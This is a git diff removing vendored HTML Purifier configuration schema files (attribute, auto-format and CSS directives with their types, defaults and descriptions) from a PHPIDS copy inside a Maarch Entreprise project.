b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.ClassUseCDATA.txt deleted file mode 100755 index 119a9d2c66991710e80840102ce38c85ca0971f8..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.ClassUseCDATA.txt +++ /dev/null @@ -1,19 +0,0 @@ -Attr.ClassUseCDATA -TYPE: bool/null -DEFAULT: null -VERSION: 4.0.0 ---DESCRIPTION-- -If null, class will auto-detect the doctype and, if matching XHTML 1.1 or -XHTML 2.0, will use the restrictive NMTOKENS specification of class. Otherwise, -it will use a relaxed CDATA definition. If true, the relaxed CDATA definition -is forced; if false, the NMTOKENS definition is forced. To get behavior -of HTML Purifier prior to 4.0.0, set this directive to false. - -Some rational behind the auto-detection: -in previous versions of HTML Purifier, it was assumed that the form of -class was NMTOKENS, as specified by the XHTML Modularization (representing -XHTML 1.1 and XHTML 2.0). The DTDs for HTML 4.01 and XHTML 1.0, however -specify class as CDATA. HTML 5 effectively defines it as CDATA, but -with the additional constraint that each name should be unique (this is not -explicitly outlined in previous specifications). ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.DefaultImageAlt.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.DefaultImageAlt.txt deleted file mode 100755 index 80b1431c3d55dada17b4c8d7109c0b084a67d4f0..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.DefaultImageAlt.txt +++ /dev/null @@ -1,11 +0,0 @@ -Attr.DefaultImageAlt -TYPE: string/null -DEFAULT: null -VERSION: 3.2.0 ---DESCRIPTION-- -This is the content of the alt tag of an image if the user had not -previously specified an alt attribute. This applies to all images without -a valid alt attribute, as opposed to %Attr.DefaultInvalidImageAlt, which -only applies to invalid images, and overrides in the case of an invalid image. -Default behavior with null is to use the basename of the src tag for the alt. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImage.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImage.txt deleted file mode 100755 index c51000d1d76f5f804376f9a10b3a717d67664375..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImage.txt +++ /dev/null @@ -1,9 +0,0 @@ -Attr.DefaultInvalidImage -TYPE: string -DEFAULT: '' ---DESCRIPTION-- -This is the default image an img tag will be pointed to if it does not have -a valid src attribute. In future versions, we may allow the image tag to -be removed completely, but due to design issues, this is not possible right -now. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImageAlt.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImageAlt.txt deleted file mode 100755 index c1ec4b038b830ff1ac4a4b2316fb056fa10f759e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImageAlt.txt +++ /dev/null @@ -1,8 +0,0 @@ -Attr.DefaultInvalidImageAlt -TYPE: string -DEFAULT: 'Invalid image' ---DESCRIPTION-- -This is the content of the alt tag of an invalid image if the user had not -previously specified an alt attribute. It has no effect when the image is -valid but there was no alt attribute present. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.DefaultTextDir.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.DefaultTextDir.txt deleted file mode 100755 index f57dcc40f2ed2233a3110df8b9d2fe32770595c2..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.DefaultTextDir.txt +++ /dev/null @@ -1,10 +0,0 @@ -Attr.DefaultTextDir -TYPE: string -DEFAULT: 'ltr' ---DESCRIPTION-- -Defines the default text direction (ltr or rtl) of the document being -parsed. This generally is the same as the value of the dir attribute in -HTML, or ltr if that is not specified. ---ALLOWED-- -'ltr', 'rtl' ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.EnableID.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.EnableID.txt deleted file mode 100755 index 9b93a5575e5b701659feb0974f692608d1a0cd16..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.EnableID.txt +++ /dev/null @@ -1,16 +0,0 @@ -Attr.EnableID -TYPE: bool -DEFAULT: false -VERSION: 1.2.0 ---DESCRIPTION-- -Allows the ID attribute in HTML. This is disabled by default due to the -fact that without proper configuration user input can easily break the -validation of a webpage by specifying an ID that is already on the -surrounding HTML. If you don't mind throwing caution to the wind, enable -this directive, but I strongly recommend you also consider blacklisting IDs -you use (%Attr.IDBlacklist) or prefixing all user supplied IDs -(%Attr.IDPrefix). When set to true HTML Purifier reverts to the behavior of -pre-1.2.0 versions. ---ALIASES-- -HTML.EnableAttrID ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.ForbiddenClasses.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.ForbiddenClasses.txt deleted file mode 100755 index fed8954cf7530ede197dc693f8f44fb6c523cf1e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.ForbiddenClasses.txt +++ /dev/null @@ -1,8 +0,0 @@ -Attr.ForbiddenClasses -TYPE: lookup -VERSION: 4.0.0 -DEFAULT: array() ---DESCRIPTION-- -List of forbidden class values in the class attribute. By default, this is -empty, which means that no classes are forbidden. See also %Attr.AllowedClasses. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklist.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklist.txt deleted file mode 100755 index 52168bb5e5b2948d4736b9fbe00f1b3aa864b81f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklist.txt +++ /dev/null @@ -1,5 +0,0 @@ -Attr.IDBlacklist -TYPE: list -DEFAULT: array() -DESCRIPTION: Array of IDs not allowed in the document. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklistRegexp.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklistRegexp.txt deleted file mode 100755 index 7b85043077279eb0a61b8f646b9d3d130da431bc..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklistRegexp.txt +++ /dev/null @@ -1,9 +0,0 @@ -Attr.IDBlacklistRegexp -TYPE: string/null -VERSION: 1.6.0 -DEFAULT: NULL ---DESCRIPTION-- -PCRE regular expression to be matched against all IDs. If the expression is -matches, the ID is rejected. Use this with care: may cause significant -degradation. ID matching is done after all other validation. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefix.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefix.txt deleted file mode 100755 index 5781382775e03abc12e24ef4c825006bbc5147d9..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefix.txt +++ /dev/null @@ -1,12 +0,0 @@ -Attr.IDPrefix -TYPE: string -VERSION: 1.2.0 -DEFAULT: '' ---DESCRIPTION-- -String to prefix to IDs. If you have no idea what IDs your pages may use, -you may opt to simply add a prefix to all user-submitted ID attributes so -that they are still usable, but will not conflict with core page IDs. -Example: setting the directive to 'user_' will result in a user submitted -'foo' to become 'user_foo' Be sure to set %HTML.EnableAttrID to true -before using this. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefixLocal.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefixLocal.txt deleted file mode 100755 index f91fcd602ba22dbd0e1aaf9f7d66340f0b3e5832..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefixLocal.txt +++ /dev/null @@ -1,14 +0,0 @@ -Attr.IDPrefixLocal -TYPE: string -VERSION: 1.2.0 -DEFAULT: '' ---DESCRIPTION-- -Temporary prefix for IDs used in conjunction with %Attr.IDPrefix. If you -need to allow multiple sets of user content on web page, you may need to -have a seperate prefix that changes with each iteration. This way, -seperately submitted user content displayed on the same page doesn't -clobber each other. Ideal values are unique identifiers for the content it -represents (i.e. the id of the row in the database). Be sure to add a -seperator (like an underscore) at the end. Warning: this directive will -not work unless %Attr.IDPrefix is set to a non-empty value! ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.txt deleted file mode 100755 index 735cbee3b53a03d0aaa622bc2d2b1a5b86e3cd40..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.txt +++ /dev/null @@ -1,3 +0,0 @@ -Attr -DESCRIPTION: Features regarding attribute validation. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.AutoParagraph.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.AutoParagraph.txt deleted file mode 100755 index 2d7f94e0236e973de07ebde3b458f6a3dc49c8ee..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.AutoParagraph.txt +++ /dev/null @@ -1,31 +0,0 @@ -AutoFormat.AutoParagraph -TYPE: bool -VERSION: 2.0.1 -DEFAULT: false ---DESCRIPTION-- - -<p> - This directive turns on auto-paragraphing, where double newlines are - converted in to paragraphs whenever possible. Auto-paragraphing: -</p> -<ul> - <li>Always applies to inline elements or text in the root node,</li> - <li>Applies to inline elements or text with double newlines in nodes - that allow paragraph tags,</li> - <li>Applies to double newlines in paragraph tags</li> -</ul> -<p> - <code>p</code> tags must be allowed for this directive to take effect. - We do not use <code>br</code> tags for paragraphing, as that is - semantically incorrect. -</p> -<p> - To prevent auto-paragraphing as a content-producer, refrain from using - double-newlines except to specify a new paragraph or in contexts where - it has special meaning (whitespace usually has no meaning except in - tags like <code>pre</code>, so this should not be difficult.) To prevent - the paragraphing of inline text adjacent to block elements, wrap them - in <code>div</code> tags (the behavior is slightly different outside of - the root node.) -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.Custom.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.Custom.txt deleted file mode 100755 index 2eb1974fd034c172ce643547a39e235226625c07..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.Custom.txt +++ /dev/null @@ -1,12 +0,0 @@ -AutoFormat.Custom -TYPE: list -VERSION: 2.0.1 -DEFAULT: array() ---DESCRIPTION-- - -<p> - This directive can be used to add custom auto-format injectors. - Specify an array of injector names (class name minus the prefix) - or concrete implementations. Injector class must exist. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.DisplayLinkURI.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.DisplayLinkURI.txt deleted file mode 100755 index c955de7f62578e1ea725c09be7b2506c7cc75371..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.DisplayLinkURI.txt +++ /dev/null @@ -1,11 +0,0 @@ -AutoFormat.DisplayLinkURI -TYPE: bool -VERSION: 3.2.0 -DEFAULT: false ---DESCRIPTION-- -<p> - This directive turns on the in-text display of URIs in <a> tags, and disables - those links. For example, <a href="http://example.com">example</a> becomes - example (<a>http://example.com</a>). -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.Linkify.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.Linkify.txt deleted file mode 100755 index 328b2b2bfe0f5a290a3b1ac9c20026a406b130d3..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.Linkify.txt +++ /dev/null @@ -1,12 +0,0 @@ -AutoFormat.Linkify -TYPE: bool -VERSION: 2.0.1 -DEFAULT: false ---DESCRIPTION-- - -<p> - This directive turns on linkification, auto-linking http, ftp and - https URLs. <code>a</code> tags with the <code>href</code> attribute - must be allowed. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.DocURL.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.DocURL.txt deleted file mode 100755 index d0532b6ba4322c1ee0b56be6d3b3fd3b736a0030..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.DocURL.txt +++ /dev/null @@ -1,12 +0,0 @@ -AutoFormat.PurifierLinkify.DocURL -TYPE: string -VERSION: 2.0.1 -DEFAULT: '#%s' -ALIASES: AutoFormatParam.PurifierLinkifyDocURL ---DESCRIPTION-- -<p> - Location of configuration documentation to link to, let %s substitute - into the configuration's namespace and directive names sans the percent - sign. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.txt deleted file mode 100755 index f3ab259a1b3d1375130562f6c0500b14f07994ce..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.txt +++ /dev/null @@ -1,12 +0,0 @@ -AutoFormat.PurifierLinkify -TYPE: bool -VERSION: 2.0.1 -DEFAULT: false ---DESCRIPTION-- - -<p> - Internal auto-formatter that converts configuration directives in - syntax <a>%Namespace.Directive</a> to links. <code>a</code> tags - with the <code>href</code> attribute must be allowed. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions.txt deleted file mode 100755 index 219d04ac4c2661db15cc273bd8bf54b32fa125e6..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions.txt +++ /dev/null @@ -1,11 +0,0 @@ -AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions -TYPE: lookup -VERSION: 4.0.0 -DEFAULT: array('td' => true, 'th' => true) ---DESCRIPTION-- -<p> - When %AutoFormat.RemoveEmpty and %AutoFormat.RemoveEmpty.RemoveNbsp - are enabled, this directive defines what HTML elements should not be - removede if they have only a non-breaking space in them. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.txt deleted file mode 100755 index 5f355d6622ee0249fabc74efe509b39c2c4ddce3..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.txt +++ /dev/null @@ -1,15 +0,0 @@ -AutoFormat.RemoveEmpty.RemoveNbsp -TYPE: bool -VERSION: 4.0.0 -DEFAULT: false ---DESCRIPTION-- -<p> - When enabled, HTML Purifier will treat any elements that contain only - non-breaking spaces as well as regular whitespace as empty, and remove - them when %AutoForamt.RemoveEmpty is enabled. -</p> -<p> - See %AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions for a list of elements - that don't have this behavior applied to them. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.txt deleted file mode 100755 index 6b5a7a5c9a3af69591b8d77c4700bce144cfc733..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.txt +++ /dev/null @@ -1,46 +0,0 @@ -AutoFormat.RemoveEmpty -TYPE: bool -VERSION: 3.2.0 -DEFAULT: false ---DESCRIPTION-- -<p> - When enabled, HTML Purifier will attempt to remove empty elements that - contribute no semantic information to the document. The following types - of nodes will be removed: -</p> -<ul><li> - Tags with no attributes and no content, and that are not empty - elements (remove <code><a></a></code> but not - <code><br /></code>), and - </li> - <li> - Tags with no content, except for:<ul> - <li>The <code>colgroup</code> element, or</li> - <li> - Elements with the <code>id</code> or <code>name</code> attribute, - when those attributes are permitted on those elements. - </li> - </ul></li> -</ul> -<p> - Please be very careful when using this functionality; while it may not - seem that empty elements contain useful information, they can alter the - layout of a document given appropriate styling. This directive is most - useful when you are processing machine-generated HTML, please avoid using - it on regular user HTML. -</p> -<p> - Elements that contain only whitespace will be treated as empty. Non-breaking - spaces, however, do not count as whitespace. See - %AutoFormat.RemoveEmpty.RemoveNbsp for alternate behavior. -</p> -<p> - This algorithm is not perfect; you may still notice some empty tags, - particularly if a node had elements, but those elements were later removed - because they were not permitted in that context, or tags that, after - being auto-closed by another tag, where empty. This is for safety reasons - to prevent clever code from breaking validation. The general rule of thumb: - if a tag looked empty on the way in, it will get removed; if HTML Purifier - made it empty, it will stay. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveSpansWithoutAttributes.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveSpansWithoutAttributes.txt deleted file mode 100755 index a448770e50e875cf2fc36e1c472dd411b5c6e488..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveSpansWithoutAttributes.txt +++ /dev/null @@ -1,11 +0,0 @@ -AutoFormat.RemoveSpansWithoutAttributes -TYPE: bool -VERSION: 4.0.1 -DEFAULT: false ---DESCRIPTION-- -<p> - This directive causes <code>span</code> tags without any attributes - to be removed. It will also remove spans that had all attributes - removed during processing. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.txt deleted file mode 100755 index 2aa82a443f6c1bc5b440b14a073be3cf975b7c43..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.txt +++ /dev/null @@ -1,3 +0,0 @@ -AutoFormat -DESCRIPTION: Configuration for activating auto-formatting functionality (also known as <code>Injector</code>s) ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormatParam.PurifierLinkifyDocURL.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormatParam.PurifierLinkifyDocURL.txt deleted file mode 100755 index 0b7a95477a5f2b3b7422e00785a00610c859ba22..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormatParam.PurifierLinkifyDocURL.txt +++ /dev/null @@ -1,12 +0,0 @@ -AutoFormatParam.PurifierLinkifyDocURL -TYPE: string -VERSION: 2.0.1 -DEFAULT: '#%s' ---DESCRIPTION-- - -<p> - Location of configuration documentation to link to, let %s substitute - into the configuration's namespace and directive names sans the percent - sign. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormatParam.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormatParam.txt deleted file mode 100755 index cf5a99e3aaeab44b408f2115d43b85f21cd75cec..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormatParam.txt +++ /dev/null @@ -1,3 +0,0 @@ -AutoFormatParam -DESCRIPTION: Configuration for customizing auto-formatting functionality ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.AllowImportant.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.AllowImportant.txt deleted file mode 100755 index 8096eb01ae1588beb460d7491d1ebd2bb3bdb9b6..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.AllowImportant.txt +++ /dev/null @@ -1,8 +0,0 @@ -CSS.AllowImportant -TYPE: bool -DEFAULT: false -VERSION: 3.1.0 ---DESCRIPTION-- -This parameter determines whether or not !important cascade modifiers should -be allowed in user CSS. If false, !important will stripped. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.AllowTricky.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.AllowTricky.txt deleted file mode 100755 index 9d34debc45c842402eebe3fefcfe7cb89b830e0d..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.AllowTricky.txt +++ /dev/null @@ -1,11 +0,0 @@ -CSS.AllowTricky -TYPE: bool -DEFAULT: false -VERSION: 3.1.0 ---DESCRIPTION-- -This parameter determines whether or not to allow "tricky" CSS properties and -values. Tricky CSS properties/values can drastically modify page layout or -be used for deceptive practices but do not directly constitute a security risk. -For example, <code>display:none;</code> is considered a tricky property that -will only be allowed if this directive is set to true. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.AllowedFonts.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.AllowedFonts.txt deleted file mode 100755 index 7c2b54763e1d6b4a68ce7a8d78ab72dbfe88b0e4..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.AllowedFonts.txt +++ /dev/null @@ -1,12 +0,0 @@ -CSS.AllowedFonts -TYPE: lookup/null -VERSION: 4.3.0 -DEFAULT: NULL ---DESCRIPTION-- -<p> - Allows you to manually specify a set of allowed fonts. If - <code>NULL</code>, all fonts are allowed. This directive - affects generic names (serif, sans-serif, monospace, cursive, - fantasy) as well as specific font families. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.AllowedProperties.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.AllowedProperties.txt deleted file mode 100755 index f1ba513c3ffaf8a65b7da4c6418864db2fde3621..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.AllowedProperties.txt +++ /dev/null @@ -1,18 +0,0 @@ -CSS.AllowedProperties -TYPE: lookup/null -VERSION: 3.1.0 -DEFAULT: NULL ---DESCRIPTION-- - -<p> - If HTML Purifier's style attributes set is unsatisfactory for your needs, - you can overload it with your own list of tags to allow. Note that this - method is subtractive: it does its job by taking away from HTML Purifier - usual feature set, so you cannot add an attribute that HTML Purifier never - supported in the first place. -</p> -<p> - <strong>Warning:</strong> If another directive conflicts with the - elements here, <em>that</em> directive will win and override. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.DefinitionRev.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.DefinitionRev.txt deleted file mode 100755 index 96b410829e21cc39c4490222f42dca1c4dc8f2a1..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.DefinitionRev.txt +++ /dev/null @@ -1,11 +0,0 @@ -CSS.DefinitionRev -TYPE: int -VERSION: 2.0.0 -DEFAULT: 1 ---DESCRIPTION-- - -<p> - Revision identifier for your custom definition. See - %HTML.DefinitionRev for details. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.ForbiddenProperties.txt 